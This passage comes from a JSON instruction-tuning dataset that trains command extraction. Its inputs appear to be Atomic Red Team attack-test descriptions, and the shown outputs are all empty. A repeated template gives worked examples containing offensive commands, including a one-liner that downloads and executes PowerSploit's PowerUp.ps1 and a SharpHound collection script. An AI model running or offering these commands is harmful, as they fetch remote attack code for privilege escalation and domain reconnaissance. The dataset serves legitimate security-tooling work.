[\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union).\nThis action requires HTTP logging configurations in IIS to be unlocked.\n\nUse the cleanup commands to restore some default auditpol settings (your original settings will be lost)\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test is designed to launch the tor proxy service, which is what is utilized in the background by the Tor Browser and other applications with add-ons in order to provide onion routing functionality.\nUpon successful execution, the tor proxy will be launched, run for 60 seconds, and then exit. \n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Upon successful execution, this test will test for anonymous access to AWS S3 buckets and dumps all the files to a local folder. \n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test will attempt to open a local port defined by input arguments to any profile",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute \"notepad.exe\" within\n30 - 40 seconds after this module has run\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    A modification registry to override RDP Authentication Level. This technique was seen in DarkGate malware as part of its installation.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Dump /etc/passwd, /etc/master.passwd and /etc/shadow using sh builtins\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following Atomic Test will create a file with a specific name and sets its attributes to Hidden, System, and Archive. This was related to the Snake Malware campaign and is later decrypted by Snake's kernel driver.\n[Snake Malware - CISA](https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF)  \n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    When Word starts, it searches for the registry key HKCU\\Software\\Microsoft\\Office\\<version>\\Word\\Options\\STARTUP-PATH and if it exists,\nit will treat it as a user specific start-up folder and load the contents of the folder with file extensions of .wll,.lnk,.dotm,.dot,.dotx\nThe registry key can be abused to load malware from the mentioned path. Reboot might be required.",
    "output": "{\"command_list\": []}"
  },
  {
